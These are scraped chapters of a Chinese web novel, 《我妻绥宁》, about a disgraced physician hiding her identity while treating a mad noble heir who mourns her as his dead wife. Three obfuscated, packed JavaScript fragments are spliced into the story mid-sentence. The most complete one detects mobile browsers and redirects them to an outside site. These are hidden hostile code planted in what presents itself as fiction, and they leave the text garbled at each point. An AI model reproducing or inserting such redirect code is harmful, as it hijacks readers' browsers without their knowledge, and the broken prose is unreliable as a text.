《我妻绥宁》 1. 饲养疯狗的第一天 灿亮如蛇信的细长闪电直射下来,照出女人惨白的脸。 黑暗中,她的手高高扬起,巨大的阴影投射在里间壁画上。 又是一阵雷鸣。 银针折射出瘆人的寒芒,壁画上色彩斑斓的人物仿佛动了起来。 她突然动了,身后的影子在墙壁上张牙舞爪地示威。 “叮——” 板门上珍珠串成的帘子发出声响。 细微的蜡烛光明明灭灭亮起。 “赵医师!”为首的侍女大呼。 赵绥宁顿在原地,手上的银针还高高举着。她唇色发白,满面愁容,似乎颇为烦恼。只是嘴角上扬起一个诡异的弧度。 啊。 被发现了。 “赵医师!赵小姐!”侍女提着蜡烛就往赵绥宁那边靠,三步一跨,十分豪迈,“国公府不能有这夜磨子!您怎么又给带回来了!” 小鼠们“吱吱”叫出声,热闹得很。 侍女胆子极大,将蜡烛灯座“砰”一声立在桌上就风风火火地要去捉那耗子。 赵绥宁连忙挡在侍女面前,扯出真挚笑容求道:“姐姐,好姐姐!您就大人有大量让它们留下吧!” 为求效真,她硬是挤出两颗小小的泪珠。 但是她犯过太多次,侍女已然不吃这套,直截了当表明来意:“世子唤您去房中看诊。” “另外,您豢养小鼠的事,奴婢会如实禀报世子。” 赵绥宁僵着脑袋,笑得比哭还难看,口中嘟囔着:“姐姐,这些小事犯不上告知世子……” 赵绥宁,现在是安国公府一届小小女医。医术学得中规中矩,但毒术了得,最擅长制毒,下能让人痴笑发癫十数日,上能让人痛不欲生如坠阎罗。 在当女医前,她是样样精通。曾为村中大娘浣过衣,也同坊间绣工学过刺绣,更是利用自己最擅长的毒为邻里阿婆惩治蛇虫。颇得美名。 当然,在这所有的所有之前,赵绥宁是宰相之女,恩封县主,张扬跋扈,目中无人,坏名远扬。 直到相府被灭,赵氏三族夷平。 她得了假死药,爹娘李代桃僵换她苟活世间。 已经三年了。 赵绥宁曲着步子,故意延缓去那恶世子院子的时间。 六日前,她本在坊间跟了一位老医师治病救人准备了此残生,却不料收到一封密函告知安国公世子郁净之手中有她父亲的遗物,或与相府冤案有关。 正逢国公府招医师,她马不停蹄地就赶过来,拙劣地通过考试,然后被郁净之晾了三天。 赵绥宁和郁净之有旧仇,其实主要是她的错。郁净之作为连外室都算不上的私生子初来京城那些时日,她为了原来的世子——郁净之的哥哥,给郁净之找了不少麻烦。轻则让他端茶倒水,重则打骂踹踢,反正是恶事做尽。 她猛地打了个激灵,手指悄悄附上面皮。为今只能盼着郁净之认不出她吧,不然……挖眼削耳灌鼻,嗯,她也算离死不远了。 “世子今日心情不好,赵姑娘当着心。”入室前,侍女轻声提醒赵绥宁。 赵绥宁又是感动又是畏惧,挪着碎步子一厘一厘往内室蹭,半晌,猛闭眼,英勇就义般闯进去。 临行前还不忘同侍女说:“好姐姐,且留我小鼠一命!若今日我还能归来……我必重谢!” 硕大的雨滴斜射在薄薄一层纸糊的窗上,刻薄的风从缝隙里挤进来,先狠狠刮过赵绥宁的脸,然后将屋内满地的白纱一股脑卷起。 隔着轻柔曼丽的白纱,赵绥宁隐约窥见一片衣角。 纱从她后背划过,带起一层颤栗。 赵绥宁心中恨叫,郁净之这厮果真有病!好好睡觉的屋室给他摆的不像人间! “赵医师,久仰。” 温润的声音蓦地从背后袭来,刮蹭着沿着赵绥宁的脊柱向上爬,再飞进她耳道。 冷汗浸湿了她单薄的衣衫。 她打着颤勉强撑起笑容,转过身去拜:“见……见过世子……” 冰凉的手指触上她的腕,像冷血的蛇类动物一样带着窒息的力道,黏腻、阴冷地缠上她。 她张着嘴,笑是僵的。 “多,多谢——”赵绥宁刚想谢礼,颤颤巍巍抬头,又对上今后此生最不愿回想的情形之一,还未说出口的“世子”封在嘴里,硬生生咬碎在牙间。 电闪雷鸣。惨白的电光从窗外猛劈入内,将郁净之挂着温柔浅笑的俊俏面庞平白切成阴阳两块。 而被照亮的这一侧,白得像死了几天的尸体一样森冷。点滴艳红的血迹呈飞溅式在他眼下散落,衬得皮肤更加苍白。 红白分明。 白纱白衣白脸,红血红唇红舌。 赵绥宁哆嗦着躲开了郁净之的手,身子发虚发软,苦着脸倒地。 “无事吧,赵医师?”郁净之微侧头,故作担心。 分明是和善的问候,却因为那墨黑的瞳孔、艳红的唇,平添上几分迤逦,活像索人性命的鬼! 赵绥宁瞳孔紧缩,小心翼翼地掐着笑回道:“不、不打紧……” “适才雨大,湿了鞋,没站稳打滑了。世子勿怪。” 她低着头不敢对视,胸中千言万语化成一个“惨”字! 天菩萨!三年不见,郁净之这厮、怎的更加疯魔了! 从前还是只会咬人的疯狗,如今更是恶趣味,还会吓人了。果然是越活心里越扭曲! 赵绥宁陡然听到一声轻笑,寒浸浸的,恍若三月初雪凝成冰。 “我有旧疾,一到阴雨天容易犯疯病,赵姑娘见笑。”郁净之忽地滚着轮椅往屏风旁去。 他捻上三支香,不知道对着什么拜了三拜,漫不经心道:“夜雨来急,赵姑娘快些回去罢,莫着风凉。” · 赵绥宁走了。 赵绥宁又来了。 她越想越气,从前尽是她欺负郁净之,如今颠来倒去让郁净之欺负她也就算了,没成想这厮居然借医治之名行恐吓之实,实在恼人! 况且自己心脏不好。 郁净之绝对是故意的。他犯病就找无辜路人“赵医师”吓,实在不是个好人。 赵绥宁决定以恶制恶。 方才她观察过,郁净之的院子没有人站岗,守备如此松懈,再者郁净之犯病身上无力,根本不足为惧! 真是轻率,哼哼。 赵绥宁压着步子,指尖攥着她自夸能迷倒一头成年猛虎的自制小药丸,桀桀奸笑。 白纱将她灵巧的身形隐蔽,她流窜在各式各样的柜橱间,轻手轻脚地探寻。 她当然也不是纯粹为了报复,正事在身,爹爹的遗物还在郁净之手里。赵绥宁想了好几天,这种重要的东西她一定会藏在最安全的住寝,或者贴身。 翻完赵绥宁才发觉,这里除了一些书还有很多贡香外什么也没有。 方才郁净之对着拜的竟是一个檀木修成的黑漆牌位! 她突然感觉自己又发虚汗了,直打哆嗦,好像有利刃刺在她背上,一下一下,恨不得刮开那些骨肉。 赵绥宁连忙有样学样拜了三拜,口中念叨:“无意叨扰,无意叨扰……” 拜完抬头一口气几乎没喘上来。 夭寿了。 她看见漆黑如墨的牌位上几个鎏金大字赫然写着: 先室赵氏绥宁孺人之神位。 她拜了她自己?! 很好。 赵绥宁瞪着眼,气势汹汹阔步走到郁净之床边。她看着完全陷入沉睡的郁净之,捏着拳头微笑,直愣愣盯着他。 她简单活动了右腿,猛地踹了郁净之几脚,全集中在下肢。反正郁净之的腿废了,废到他这个程度,也感受不到什么疼痛了。 不能说她肚量小,她本就不是良善之辈。只是如今落魄,才不得不虚与委蛇逢迎讨好。 只能怪郁净之疯得没边,把住的地方几乎搞成她的灵堂了! “嗯……”郁净之闷哼。 赵绥宁顿时僵在原地,黑白分明的眼珠子咕噜转着,转得飞快。 她的心脏跳得很快,几乎从细窄的胸腔蹦出来。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵绥宁做了一场梦,内容荒诞恐怖。 主角是她和郁净之。 梦里郁净之又犯病,给她套上一件墨绿色的衣裳。是对襟的阔袖上衣,领口修着华丽的飞鸟,只是这针脚实在粗糙,还不如她自己绣的好;下裳系在她胸部;还有轻薄的丝绸质披帛缠绕手臂。 虽然丑了点,但是质地极好。 赵绥宁许久没有穿过这么舒服的衣服了。 她吸着鼻子,想起从前自己锦衣玉食的生活,胸口隐隐发酸。 这三年自己每日粗衣麻布穿着,娇嫩的皮肤经常被磨红、磨破,渐渐也都起了茧子。 而郁净之过得那么好,甚至还当上世子了。 她不禁嫉妒心起,转念又想还是因果报应,不觉长吁短叹。 郁净之的指节紧紧扣住她的手,接着完整地覆盖着她整个手,让她动弹不得。力道稍微重了些,留下一片红印。赵绥宁低低抽泣,不自觉摸索腰间香囊,心中发狠,势要找出个毒药和这厮同归于尽。 银白的刃陡然抽出,寒光激灵射进赵绥宁眼中。刀刃上映着她红着眼睛、吸着鼻子的可怜模样。 赵绥宁又委屈又害怕,只能乖乖拉着郁净之的手求饶:“对不起,我再也不欺负你了……” “不要杀我……”她咬唇,眼中已经蓄满泪水。 郁净之冷冷看她,握住二人交缠的发丝随意劈开。 锋利的刀刃划过空气坠落在地,刀柄沉重撞在玉石上。 赵绥宁睁着眼,又惊又惧,抿着唇看郁净之用红绳将那绺发捆住,看着郁净之血红的唇,手脚冰凉。 “宁娘,如今结发,你我便是夫妻。你要怜我、爱我,与我——死生不离。” 死生不离—— 郁净之黑若深潭死水的眸子直勾勾盯着她。 赵绥宁猛地惊醒,身体剧烈颤抖。 面前郁净之的脸同梦中重叠,只见他笑吟吟看她:“赵医师,缘何身着亡妻嫁衣?” 2. 饲养疯狗的第二天 赵绥宁慌乱地俯下头去看,梦中所见的墨绿嫁衣竟真在她身上,而且严丝合缝地贴着皮肤。 雪白的颈子暴露在空气中。 她又抬手,见手上一点红痕没有,恍然间脑袋一团乱,也分不清梦境现实了。 赵绥宁尴尬地搓手,下巴扬起一个弧度,偷偷去望郁净之的神色。可郁净之八风不动,依旧挂着笑,她也看不出来那笑里有几分真。 还好香囊还挂在身上。 她忽然蹦出个不着调的方法,干脆吃颗小药丸装死吧。郁净之总不至于坏到连她不小心穿错衣服也要鞭尸的地步吧。 这衣服怎么到她身上的? 定有奸人陷害!赵绥宁咬紧牙根,愤愤瞪着白玉铺成的地砖,若让她逮住,必定给那人吃上十个八个毒丸泄愤。 “赵医师?” 郁净之的声音渐冷,黑沉的眸子定定看她,好像方才的笑容都是假象。 她仿佛看到了从前的郁净之。 凶戾、狠辣,不择手段。 还没当上世子的郁净之最具标志性的就是那双深黑如墨的眼睛,冷漠中带着野性,像未经驯化的狼,谁踩他一脚他下一秒就龇着牙扑上去扯人一块肉。 她第一次见到郁净之,少年正被几个人重重摁在地上打,拳头和脚铺天盖地地落在他身上。 她出现的那瞬间,少年的眼中亮起光,奋力挣脱开桎梏,腰背直挺着看她。 赵绥宁平白被烫到了。 又是一阵拳脚相加。兀然一声铮鸣,削铁如泥的匕首从鞘中“唰”地刺出,电光火石间划过那几个人的腹部。 几乎一瞬间的光景。 猩红的血大面积落到少年眼下,少部分飞到他唇上,为发白的唇染上绮靡。 眼白部分也沾上几滴。 又有星星点点溅在他黑色花鸟暗纹的衣袍上,晕开一小团暗色。 铁锈一样浓烈的气息争先恐后涌入她鼻腔。赵绥宁眼前一片血色。 没有人想到郁净之能这么狠,全然不顾他人性命。 那时,赵绥宁的腿灌了铅似的立在原地。 她听见郁净之喊她。 “赵绥宁……” 缓慢而沙哑的调子,属实算不上好听,但赵绥宁始终难以忘却。伴着滚烫的鲜血和不绝的哀嚎声,郁净之咧出一抹笑,像是锁定猎物一样朝她示威。 她想,她可能什么时候得罪过郁净之。 所以才被他记了很久,又恨了很久。 直到冰凉的手指再次抵上她的手,赵绥宁才回过神来。 她愣了两秒,郁净之和她之间的距离不知不觉缩小了很多。 太近了。 她几乎能看到郁净之长着浓密睫毛的薄薄眼皮。 赵绥宁蓦然落地,做了一个她此生都不想回忆、不愿承认的动作。 对着轮椅上那双没有知觉的腿,她没有一丝犹豫地扑了上去。 “冤枉啊!世子!我对此事丝毫不知呀!”赵绥宁发了狠,暗戳戳拧了拧自己大腿根的肉,瘪着嘴哭道:“世子大人大量!求您饶过我、放我走吧!” 郁净之先前勾起的唇角在赵绥宁下半句“放我走”后直直抿成一条线。他似笑非笑,俯身轻语:“这么想离开吗?” 赵绥宁觉得他这话来的没由头,且十分怪异。这走也生气,不走也生气,真真是万分难伺候,比之她当小姐时更为阴晴不定。 但人在屋檐下,她只得胡乱猜着男人莫名其妙的心思答道:“怎么会呢!” “只要世子不杀我,我定结草衔环以报世子大恩。” 翻涌的冷气顿时消了大半,她捂着胸小口小口呼吸着。 “还会用词,读过书?”郁净之靠回轮椅。 赵绥宁摇头又点头:“读过一点。” 下一秒只听得男人悠悠说道:“原觉得赵姑娘很像亡妻,现下却了然,你们一点也不像。” “毕竟我那亡妻,字都不认得几个,遑论念书。” 赵绥宁深呼吸,挂着勉强的笑,应和道:“哪里哪里,小人怎敢同世子妃相较?” 在他看不到的角落,赵绥宁目光如炬,恨不得化作万根针刺,深深扎进郁净之腿中。 她故作懵懂:“小人听闻世子鳏居多年,只是貌似未能与那位姑娘成亲?” “我与她,成过亲。” “她大丧那日,我抱着她的灵牌,进了郁家。” 郁净之居高临下俯视她,低低笑出声:“全京城都知道的事。 · 翠绿的鲜叶孤零零躲在角落,砂红土壤松软肥沃,背着坚硬外壳的小虫卖力地攀上枝叶,用细长的口器扎进叶脉,贪婪汲取嫩汁。 九仙草! 她眼睛一亮,跳着蹲在叶子前,两只手指挑起扒着叶缘摇摇欲坠的小虫,重新将它送上叶子。 先前听侍女说国公府有块药园,满当当种着各类草药,如今亲自来,果然如此。 尤其是九仙草,性热效烈,可驱寒暖身,也是压制剧毒的良药。 眼前这株九仙草被小虫无意啃了几口,药效定然有缺,所以赵绥宁决定替国公府清理掉。 她环视四周,哼着调子,以迅雷不及掩耳之速薅起揣进袖中,速度快得连残影都看不清。 哎,她实在不忍这草因小瑕疵被遗弃。 才不是因为没钱。 “噗!” 身后传来一声轻笑。 赵绥宁僵着身子,认清命运般转身。 “姑娘可是新来府上的医师?” 她婉身行礼,瞄见清俊儒雅一张脸,比之郁净之更为柔和。 男子拱手,靛蓝色衣袍顺着动作拉伸。眉清目秀,一点泪痣落在眼下,平添几分温润。他的瞳色偏浅,宛如清澈的溪水。辗转间,眉目流盼。 “郁……公子?” 再见郁安,赵绥宁心中百感交集。 曾经,郁安是她最喜欢的少年。他风度翩翩、玉树芝兰,待人接物从和有礼,连说话都是斯斯文文、谦和宽厚,实可谓之君子。赵绥宁会把所有她会的美好词汇都用在郁安身上。 初见郁安时,她十岁,正蹿在树上捉小雀,一群人站在树下叽叽喳喳叫个不停,比雀鸟聒噪十倍。只有小郁安远远地看着她,等人潮离开后跑到她身边,声音软软地问:“它受伤了吗?” 见她疑惑,小郁安又说:“我刚刚看到它掉下来了,是你把它送上去的。” “我想照顾它,可以一起吗?”小郁安露出手上的药瓶,磕磕绊绊说,“我去拿了金疮药……” 赵绥宁直到现在都没和郁安说过,金疮药是治人的,治不了鸟,应下后的那几日,她每天都要偷偷换掉郁安带过来的药,而且,小鸟只是擦伤,过几天就好了。 “赵医师唤我郁安便可。”郁安笑道,“前几日便听说你来,未曾得见。” “不知二郎病症可重?腿可还能治好?要用什么药,府库中尽可挑。” 赵绥宁被问得有些心虚,弱弱道:“公子,世子还未曾让我近身查看。” “啊……”郁安神色凝重,摇头叹息,“二郎确实不喜人靠近,而且阿绥去后,他脾气愈发古怪了……” “可也是他着意找人选医师的……”郁安不解,“罢了,赵医师还是等二郎的话吧。” “另外,姑娘要小心二郎。”郁安拂去赵绥宁肩上落叶,放低声音,“他……” “我怎么。” 空气凝滞。 散漫的调调从赵绥宁身后传来。 兄弟齐聚一堂,夹着她这个外人在里面不尴不尬的。 “兄长还是这么讨人欢喜。”侍女推着他上前,郁净之扯起唇角嘲讽道。 他对郁安说话,整个人却转着朝向赵绥宁,乌黑的瞳仁自上而下、淡淡扫过她全身。 “午间腿疾犯了,本想请赵医师来看看,没寻着人。”郁净之垂眸,“又听侍女说赵医师可能在药园。不想竟撞见赵医师同兄长在园中、这般眉目传情。” “——是净之叨扰了。” 郁净之以手挡唇,略微轻咳。阳光下,他的皮肤更显苍白,眼皮病怏怏耷拉着。 明明之前还步步紧逼。 “二郎,你误会了!”郁安迈出半步的动作被郁净之冷淡的眼神止住。 “兄长,你的手还放在赵姑娘肩上呢。”郁净之淡淡道。 飘在半空的绿叶霎时间如尖刀般划过郁安的手,留下一口血痕。血液从伤处源源不断流出,郁安吃痛。 郁净之咬着唇恹恹开口:“赵医师,我胸口好闷,许是腿疾又犯了。” 少来。腿断了关胸什么事。 “二郎……” 郁净之抬眼,打断:“兄长,她是我的医师。你若有病痛,我再差别人给你使,或者,你去找国公要人。” “赵岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920225|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,推我回去。”郁净之冷着脸下了命令。 赵岁是她的化名。她快速应下,小跑到郁净之木质轮椅后上手推了起来。 仆从也行了礼跟着离开。 半晌,独自站在树下的郁安目光黯然,薄唇紧抿。 “方才,你一句话也没说。” 郁净之状似不经意,凉凉道。 赵绥宁大脑飞速运转:“郁公子和世子身份尊贵,我不敢插话。” “郁安的手很漂亮吗?”郁净之并不满意这个回答,转而问,“我瞧你一直盯着。” 赵绥宁发誓,她只迅速瞥了一眼就收回视线了,点烛火都没那么快的。 “你为何叫我世子却叫他公子?” 不然让郁安当世子吗? 赵绥宁面上赔笑。 “为何先说‘公子’,再喊‘世子’?”郁净之不依不饶。 她深呼吸,尽力克制住松开轮椅任郁净之自生自灭的想法。 “郁安的手很漂亮吗?”郁净之又问一遍。 不经意抬起衣袖,宽大的骨节外薄薄覆着一层皮肉,浅淡的筋络交叉分散在指骨间。 病弱、苍白、又精致。 赵绥宁摇头。 “你喜欢吗?” 她依旧摇头。 “可惜了。”郁净之轻叹,“不喜欢的话就砍下扔了吧。” 赵绥宁僵住。 “真的不喜欢?” 她犹豫了,试探着点头。 “那划下来送给你好不好,挂在你屋里?我亲自去。”郁净之比划着,边咳嗽边说,“我的手法很好,可以帮你把他的手完整地保留下来。” 赵绥宁这辈子没这么服气过。果然疯子就是疯子,妄图用正常人的方式去交流只会适得其反。 她发现,郁净之好像很在意她的看法。 “世子,我对大公子的手不感兴趣,只是出于医师的习惯下意识观察伤口形状而已。” “哦。”郁净之兴致缺缺。 “世子的腿怎么样了?”她问。 郁净之自己转着轮椅停在门口,无精打采道:“不打紧。” 尖锐的犬吠从室内一波接着一波跑出。 赵绥宁偷瞄一眼被黑暗包裹的内室,害怕又好奇。 “要进来坐坐吗?”郁净之眼尾发红,唇角勾起一个弧度,眼中噙着光。 犬吠从又快又尖的高频叫声转而低沉的呜汪。 赵绥宁溜得比兔子还快。 郁净之强撑着转动轮椅入内:“小白。” 毛发乌黑顺亮的大型犬类循着声儿扑到郁净之腿边,乖顺地去蹭他的腿。 “你闻到她的味道了,是不是?”郁净之咳嗽着给小白顺毛,小白舒服得眯眼,“汪”一声作为回答。 他体内有幻毒,毒血流遍四肢百骸,每月都会发作两次,尤其是情绪激动的时候。这毒暂无药可医,只能以九仙草压制,但九仙草长久服用会有依赖性。中毒者身体发凉如坚冰,且毒发时会产生大量幻觉。 早在药园的时候,郁净之就发病了。 现下眼前白光闪烁,看不见任何东西,耳边则被女子婉转轻柔的呼喊缠绕着: “净之。” 又变成:“阿濯。” 净之是他的字,而濯是他的名。 微风起,白纱飘转。袅袅青烟从台子上不断上升。 郁净之循着记忆拿下牌位,小心翼翼地抱在怀中。燃香不慎刮伤他的手,滚烫的灼烧感从手背攀上耳廓。郁净之的耳垂红了,眼尾更是一片艳丽。 “宁娘,我在。”他轻声应着。 鲜血从他唇角流下,“嗒嗒”滴在深黑色的灵牌上,空荡的屋子安静得只剩下血流不止的坠落声。 “嗒嗒”。 极少的泪混合着血一起落下。 郁净之用帕子轻柔擦拭着牌位,沉浸在自己朝思暮想织成的幻梦中。 他又用内力在手上制造一条和郁安完全一致的伤痕。 “很像了。” 不知是在说伤口还是说人。 “好碍眼。”他抬手悬在半空中,食指勾着什么东西缠,“烦。” “我很像他了,是不是?”郁净之对着空气说话,似觉不够,又翻出那件嫁衣,把脸埋在其中,闷闷问道:“我学了好久,我如今比他更可怜——” “为什么你还是不愿意分我一些注视?” 3. 饲养疯狗的第三天 到了正式医治的那天。 手下接触到的肌肉已经有些萎缩,赵绥宁问:“世子有什么感觉吗?” 郁净之摇头,他感受不到她的触碰。 “什么时候腿受的伤?” “三年前。” 熟悉的数字让赵绥宁一愣。三年前,正好是她全家下狱灭族的时候。很巧。 她尽力抛去脑中杂乱思绪,专心解释:“世子,您这腿彻底断了。而且看样子,这三年,您也没好好治过。今后若要能够正常行走,须得先把筋脉续上,然后再为您接骨。” “有一味药能保筋脉,只是国公府药园中没有。”赵绥宁掂量着,半真半假试探道,“渡神草,曾经的赵府府库倒是有。” “可惜。”郁净之幽幽叹气,“赵府查获的东西都收缴国库了。” “如果有什么物件流落在外呢?”赵绥宁松手,抬眼直视他,问。 郁净之轻笑,手附上赵绥宁的脖颈,比着动作。 空气中凉风蹿过。 “私藏反贼之物,无异同党——自然是杀头的死罪了。”她听见郁净之说。 一丝寒意爬上心头,赵绥宁没由地垂眸,躲开了视线。 她从香囊中拿出一颗深褐色的药丸,捧在手心递给郁净之:“世子,吃药。” “此药……”话刚开口,她就看见郁净之喉结滚动,已然是咽下了药,“与麻沸散相似,可以止痛……” 似乎有些不对。不应该是先来回交锋几下,这药有无毒、有何副作用、不信你先尝尝之类的吗……郁净之还怪……直爽? 看着她这副怔愣的样子,郁净之顿了两秒、补充道:“是否有副作用?” “有的有的!”赵绥宁露出上下各四颗牙齿,“起初人还能保持清醒,后面会稍微陷入美梦,对外界事物一概不知。” 然后就迷迷糊糊被她问出各种话,再失去这段记忆。她笑得愈发灿烂。 “世子,稍后接完骨,我会引一种蛊虫以毒攻毒帮您解决体内余毒。”她观察着郁净之神色,“帮您排忧解难。” “嗯……” 她很聪明,在看到满园九仙草的时候就猜到了。可观郁安面色红润,想来无虞,而郁净之肤色苍白,手脚冰凉,还有“疯病”,稍微一联想就知道是谁中毒了。 谄媚的笑容再次浮上赵绥宁的脸,她说:“世子,其实小女自幼便有一个梦想,若能为世子治好身体……求世子帮忙。” “小女想做官!做个大好官!”赵绥宁眼咕噜一转,又严肃道,“唯愿政治清明、百姓安乐。” 郁净之以手抚唇,生硬地咳嗽两声,“想不到赵医师竟有如此宏愿。只是当官不易,女子更是艰难。姑娘若真立志,我愿替你筹谋。” 他粗糙的裤腿被赵绥宁急切地向上卷得更加深,直至大腿根。赵绥宁迫不及待地说:“那我开始了,世子!” 摇曳的烛火隔着琉璃罩子肆意晃着,勾勒出一条游蛇般的焰。乳白色的烟荡悠悠蹿过白纱,痴缠着卷上郁净之泛着莹白晶光的腿腹。 她从药箱里拿出一把短而小的刀,大概有半根蜡烛那么长,蘸了酒,在揭开罩子后的烛焰外层炙烤。 火焰顿时绞上锋利的刀刃,滋滋作响,剧烈地同酒液跳跃、燃烧、最终化为青烟消逝。 刀刃抵在那薄薄一层皮肉上。赵绥宁握的这头是微凉的,贴在郁净之腿上那端经过高温带着浓浓的热度。只是郁净之感受不到,常年伴随他的是无时无刻不在的麻木和肿胀,就像蚂蚁啃咬一样的痛感。而现在,在药丸的作用下,这点温度更加不明显,甚至连之后刀划开皮肤他都不会有感觉。 郁净之稳着呼吸,肩部自然下垂,目光聚在赵绥宁认真割开他皮肉的手上,随即向上扫过,落在她被烛光暖暖照着的脸上。 她的动作干净利落,她的眼中不带一丝怯意。 审时度势,一往无前。她向来是这样的,确定了要做的事就十分坚定。 被接回国公府那年,郁净之十七。那并不是他第一次和赵绥宁见面,只是金尊玉贵的小姐忘了,彼时她正深深迷恋郁安的高洁。和皎若明月的郁安比起来,郁净之简直就是地上的烂泥,任人践踏,无人在意。 那时不知是谁擒了条烈犬赠与郁安,带着挑衅的意味。野犬脾性极差,刚出笼子就龇着森白的牙朝郁安扑去,粘稠的涎液在青砖地上拖出长长一条线。 势头太快,所有人都愣了。 是赵绥宁站在郁安面前,拔了侍卫的刀毫不犹豫地捅进野犬的后腿。手起刀落,血液飞溅,在她旖丽的面庞留下一道长长的血迹。 事后,郁安白着脸怔怔愣在原地。没人能想到,一个世家小姐可以面不改色地用刀去砍。 只有他知道,赵绥宁很害怕;只有他看到,赵绥宁藏在衣袖下的藕节似的小臂抖着、颤着。 她并不像面上那么镇定。可她还是忍着恐惧保护住郁安。 她的坚定、她的勇敢是为了郁安,她把一切美好的东西都留给了郁安。 而他郁净之,甚至都没入过她的眼。 那时,他多想站上前说,看吧,你喜欢的君子,也不过如此;你满心满眼要守护的人却弃你而去。他想嘲讽,想打击她,可赵绥宁的脸苍白又可怜,却仍然只一心飘过去看郁安。 千言万语堵在他喉口。 烛火昏黄,晃得他眼睛疼。 他看见赵绥宁饱满的额头隐隐沾着汗,乌黑的发丝黏在一块。而赵绥宁正专注地盯他的腿,紧绷着不眨眼,很近,几乎要凑到他的骨头里去看。 白骨森森,郁净之仅是随意瞥一眼,神色不显。 至少现下,她眼里只有他郁净之一人。 抽出一方丝帕,他捻在指尖,对着即将滑落的珍珠似的汗滴印上去。 额角有轻柔的触感。 赵绥宁错愕地睁大眼睛。长时间没有闭合有些干涩,加之烛火晃眼,灼烧感涌上,莫名掉了一滴泪出来。 苍白的手指又追逐着蹭上,轻轻拭去那滴小小的珠子。 她飞快埋下头去,继续先前动作。 “赵医师,我有些难受。”他面无表情地用撒娇似的口吻说出这般示弱的话。 是药效还没上来吗?不应该啊。赵绥宁拧眉,暂时空出一只手去探郁净之的踝骨。 “这里疼吗?” “嗯。” 她的手离踝骨毫厘之隔,还没彻底碰上郁净之就低低开口。 “这里呢?”她狠狠拧上另一只腿的腿腹软肉。 “嗯。”一模一样平稳的音调。 呵呵。她笑着,手下更加用力地拧,问:“还痛吗?” 郁净之隔着衣袖握住她的手,抿唇说:“不痛了……” 顶着头顶灼热的视线,赵绥宁浑然不觉,只专心摆弄着刀具,剔除其中腐肉,每个角落都没有放过。然后用纱布包裹住,竹片固定,嘱咐道:“腿恢复需要细养,之后每日我给您煎药续筋骨、通血脉,再辅以针灸疏通经络,三个月就能正常行走。” 直到另一条腿也重复着固定住,她抽回手,用酒倒了冲洗干净,再在剩下的纱布上擦拭干净手,连带着清洁完小刀。 赵绥宁咬破指尖,挤出殷红的血滴。不一会儿,一只近乎透明的米粒大的小虫从伤口中爬了出来。它的足肢不多,只有前面两节,腹部柔软地贴在赵绥宁的指腹上,因此动作迟缓,爬得很慢。 血。 殷红的,想来又是滚烫的,带着腥甜香气的。 郁净之似乎嗅到了某种甜蜜的气息,他断定那是赵绥宁的血液的味道、是她的味道。 蛊虫刚被引到酒瓶瓶口,她指尖就被温暖包裹。赵绥宁疑惑一瞥,就看见原本端坐在轮椅上的郁净之、现下正半弯着腰,手掌托起她的小臂,将她冒血的指尖含进薄薄的唇,用湿热的口腔缠住她。 他甚至用舌尖轻轻勾了下赵绥宁的指腹,羽毛般轻。郁净之的脸和她的手贴得极近,长长的睫毛扫过她的手背,带起一层瘙痒。他就这样专注含着。 低头一看,没一个省心的。小蛊虫早已爬进酒坛咕噜咕噜打着转儿,而面前的男人旁若无人地把着她的手认真舔舐,赵绥宁一时竟不知道该说些什么。 是激烈的反抗还是迷惑的拒绝,好像都难以描述她目前的心境。更恐怖的事,赵绥宁居然没有一丝反感,这样柔软、包容的感觉,她莫名地不排斥。 “……世子?” “这毒六年前就有了。”郁净之突然提起,“是西域的一种怪毒——蚀骨醉。” 蚀骨醉。她从前听师父说过,此毒极为狠戾,发作时骨中刺痛不已,日夜不歇,中毒者活不过五年,浑身根骨都会被腐蚀。看来郁净之结怨不少,连西域怪毒都整他身上了。 纵使有九仙草的压制,郁净之也只能多活半年,可他现下安好。且她接骨时看过,郁净之的腿骨是好的,外面洁白如瓷玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很快郁净之难受地哼声,无意识地在轮椅上动起来。 蛊虫在他体内蹿动着把毒吸收。 “宁娘。”他又莫名其妙出声,身体前倾倒在赵绥宁左肩。 重量压上了她带有印记的左肩。 那里,曾经被一个人咬了一口,咬得很重,留下了印子。 只是时间太久,赵绥宁已经不记得是谁咬的,又为何咬了。 “起来。”她凶巴巴地对着失去意识的人命令道,“不然我把你扔地上了。” 说完她尴尬地抹了抹虚汗。 “喂,东西到底在哪里?”她没有停止追问。 轻轻的低语没在她发中。 “不要。” “很暖。” 赵绥宁:? 她冷着脸嫌弃地将郁净之扶着靠回椅背,问:“在哪里?” 郁净之的手掩着宽袖藏在背后。 赵绥宁心下了然,当即兴高采烈地伸手摸过去。只是郁净之尚处于昏迷状态,身体又沉又重,直接把她刚伸进去的手压在劲瘦的腰下。 此刻她的手被夹在郁净之的腰和手中间,并且这厮好像很冷,身体颤个不停,压得她手发麻。 想了想,赵绥宁又缓慢地将整个手臂彻底揽住郁净之后腰,身体稍微前倾好让郁净之枕在她肩上。同时她空闲的那只手飞速探进袖中摸索,果然有一张叠好的宣纸! 一拿到想要的,赵绥宁就毫不留情地把郁净之推回椅背,自己急切地打开纸张查看。 很像她爹的字迹,但确实如郁净之所说,每字末顿笔,不是爹爹的习惯。方才着急探听消息,现下找着了,她又奇怪为什么郁净之会知道爹爹的书写习惯。但眼下更紧急的是,牵扯进来的人很多,不止官员,还有皇子,赵绥宁不敢再想下去了。 她必须尽快入仕,培养自己的力量。 赵绥宁将纸重新叠起来收回袖中,眉头紧锁地往自己院中走,仿佛全然忘记了郁净之还靠在轮椅上,正意识全无。 